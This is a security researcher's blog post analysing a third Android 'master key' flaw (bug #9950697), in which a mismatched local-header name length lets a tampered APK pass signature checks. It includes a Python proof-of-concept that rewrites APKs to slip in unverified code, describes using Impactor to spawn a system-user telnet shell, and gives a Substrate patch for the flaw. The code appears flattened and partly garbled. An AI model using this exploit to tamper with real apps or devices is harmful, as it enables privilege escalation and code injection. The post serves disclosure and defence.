Yet Another Android Master Key Bug

Earlier this year, Bluebox Security announced they had found a bug in the way Android verifies that application packages have not been tampered with by third-parties. While details were to be disclosed by Jeff Forristal (CTO of Bluebox) at Black Hat 2013, due to the attention they caused, the bug was quickly found.

This bug was disclosed to Google in February, where it became bug #8219321. Bluebox felt that responsible disclosure was critical for a bug this serious, so they gave Google many months to allow their hardware partners to be able to get everything fixed. After many months, however, only a few devices were fixed.

At a moment when the most attention was being given to this bug, a patch for a different issue hit the Android Open Source Project, a fix for bug #9695860. This bug had very similar ramifications, and a group called Android Security Squad documented an exploit technique (albeit one weaker than the previous bug).

In previous articles, I first documented how bug #8219321 works, as well as how to exploit it on any device to run code as the system user (previous techniques relied on finding existing valid packages with specific properties). In a second article, I showed how bug #9695860 was actually more powerful than the first.

Now, last night, the source code for Android 4.4 was released to AOSP, which included a patch for yet another bug, #9950697, in the signature verification of Android application packages. This bug is somewhat weaker than the previous ones, but is still sufficient to support the general exploit techniques I have described.

In this article, I describe this third bug and show how it can be used, providing both a proof-of-concept implementation in Python and a new version of Impactor that adds support for this signature bug. Finally, I show how Substrate can be used to patch this bug, and I release a new version of Backport with the fix.

(I was able to get this article out so quickly as I had actually found this bug back in June; I sadly did not think to post a hash to Twitter until July, however, a week after this patch was committed internally at Google. Regardless, if you run the hash command from this post from today you get this hash I posted in July.)

Incorrect Assumptions

The bug that underlies this exploit is very similar to the one I analyzed in my previous article, bug #9695860. Specifically, this will look very similar to the original technique for that bug by Android Security Squad, with a few aspects of the first improvement I descibed in the section "Extreme Offset".

As I have already described how the zip file format fits together in previous articles, as well as how the Android signature verification code generally works (and the high-level problems it is subject to), I will refrain from repeating myself here. Please read my article on bug #8219321 and my article on bug #9695860 for these details.

So, looking back at the calculation performed by the C++ code to find the data block after a local header, we see that that it is based on four things: the offset of the start of the header, the length of the header (a fixed size), the length of the extra data field (which bug #9695860 exploited), and the length of the name of the file.

off64_t dataOffset = localHdrOffset + kLFHLen + get2LE(lfhBuf + kLFHNameLen) + get2LE(lfhBuf + kLFHExtraLen);

By process of elimination, this article will focus on the name length. The local header name is interesting as it is not used by any of the key implementations of unzip on Android: the central directory is instead read fully and indexed (into some form of hashtable), storing only pointers to the local file headers.

If we look at the implementation of this code in Java, we see something interesting: while it reads the length of the extra data from the local header, it somehow already has the length of the name stored in a nameLength field of the ZipEntry object. This field is a cache stored while reading the central directory headers.

// We don't know the entry data's start position. // All we have is the position of the entry's local // header. At position 28 we find the length of the // extra data. In some cases this length differs // from the one coming in the central header. RAFStream rafstrm = new RAFStream(raf, entry.mLocalHeaderRelOffset + 28); DataInputStream is = new DataInputStream(rafstrm); int localExtraLenOrWhatever = Short.reverseBytes(is.readShort()); is.close(); // Skip the name and this "extra" data or whatever it is: rafstrm.skip(entry.nameLength + localExtraLenOrWhatever);

What makes this bug exceptionally hilarious is the large comment sitting above it carefully pointing out that the length of the extra data might differ from the value stored in the central directory. Sadly, this failed to make an impression while writing the code below that skips the name field (and "whatever it is" ;P).

The way we can exploit this is to set the length of the name in the local file header to a size large enough to skip the length of the real name (as defined in the central directory) and the data that will be used by Java. We then put the modified data we want used by C++ after the data that will be verified by Java.

C++ Header 64k Name Data +--------> +----------------------> +----------> length=64k classes.dex dex\035\A... dex\035\B... +--------> +---------> +----------> Java Header 11 Name Data

Proof of Concept

As some people have been describing these local file header exploits as complex to pull off (Android Police had said in an article that bug #9695860 "is more precise and relies on a fairly complete knowledge about the structure of the files"), I am going to provide a proof of concept for this exploit in Python.

The key to pulling off these exploits is that the flexibility of the zip file format is often tolerated even by simpler libraries. With the Python zipfile library (and zlib's minizip), each time you add a file the local header and data block are written immediately, and the central directory is written when you are done.

When writing these files to the stream, the position of the stream is not moved; further, the position is read from the stream, for later use in the central directory. This means that if you write extra data to the file or move the file pointer around, the zip library will just work around the changes without complaint.

In the case of Python, you can get access to the underlying file stream using the "fp" member of the ZipFile object. Writing multiple copies of the data or adding padding to the file is thereby quite simple. Finally, we can seek backwards in the file to make changes to the headers that have been written.

#!/usr/bin/python import zipfile import struct import sys # usage: ./ new.apk old.apk file data zout = zipfile.ZipFile(sys.argv[1], "w") zin = zipfile.ZipFile(sys.argv[2], "r") replace = sys.argv[3] new = open(sys.argv[4], 'r').read() fp = zout.fp for name in zin.namelist(): old = if name != replace: zout.writestr(name, old, zipfile.ZIP_DEFLATED) else: assert len(new) <= len(old) # write header, old data, and record offset zout.writestr(name, old, zipfile.ZIP_STORED) offset = fp.tell() # return to name length, set to skip old data -len(name) -4, 1) fp.write(struct.pack('<H', len(name) + len(old))) # after old data, write new data \0 padded fp.write(new) fp.write('\0' * (len(old) - len(new))) zout.close() zin.close()

Fixing the Bug

As in my previous articles, I will now point out that I feel like it is my responsibility to provide people the ability to protect themselves from the issues that I describe and implement. I will once again do so using Substrate. At this time, there are no alternatives I can point to or comment on.

Clearly, it would be ideal to also disclose bugs earlier, but frankly: Google has known about this bug since July... this is simply not a priority to them, and earlier "responsible disclosure" thereby does not benefit the public. (As many Android devices are also locked down from their owners, I thereby feel morally obligated on the other side to hold bugs until they are needed--or, of course, burned.)

final Field raf = ZipFile.class. getDeclaredField("mRaf"); raf.setAccessible(true); final Field local = ZipEntry.class. getDeclaredField("mLocalHeaderRelOffset"); local.setAccessible(true); final Field length = ZipEntry.class. getDeclaredField("nameLen"); length.setAccessible(true); Method getInputStream = ZipFile.class. getDeclaredMethod("getInputStream", ZipEntry.class); MS.hookMethod(ZipFile.class, getInputStream, new MS.MethodAlteration<ZipFile, InputStream>() { public InputStream invoked( ZipFile thiz, Object... args ) throws Throwable { ZipEntry entry = (ZipEntry) args[0]; RandomAccessFile raf = (RandomAccessFile) raf.get(thiz); synchronized (raf) {;; int length = Short.reverseBytes( raf.readShort()) & 0xffff; if (length != length.getInt(entry)) throw new ZipException(); } return invoke(thiz, args); } } );

The fix for this issue is very similar to the fix I published for bug #9695860, so the code for this extension will look very similar; the only new code is a few lines that check that the name length from the local header matches the one from the central directory. You can see the patch to Backport for reference. (Note: there was a mistake in that patch that I found and fixed before publishing this article.)

int length = Short.reverseBytes(raf.readShort()) & 0xffff; if (length != length.getInt(entry)) throw new ZipException();

For the complete source code to this extension, you can clone its git repository from git:// or view its repository online using the Gitweb instance I use. (Here is a direct link to Users who just want to install an APK can get it from the Cydia Gallery (inside of Substrate).

Updated Impactor

For users hoping for an end-to-end implementation to this bug, I have released an updated build of Cydia Impactor that will autodetect its usability and use it as a system exploit when available (it actually checks this bug first, as it is more likely to be present than either of the other two bugs).

To use Impactor to get access to the system user of your device, run Impactor, select "start telnetd as system on port 2222", and click Start. Then, if you telnet to port 2222 on your device and run "id" you will find that you are running as the system user. At this point you might be able to find ways to upgrade to full root access.

What will be interesting, of course, is to see the adoption curve of fixes for these three bugs. I mainly do work on iOS, where bugs are fixed centrally and quickly. In comparison, even though Google had the first of these bugs carefully disclosed to them by Bluebox in February, their Nexus device line did not see a fix until July (as part of 4.3), and many devices even today have yet to be patched. The story for the second bug is even worse: here's hoping the third bug causes more updates.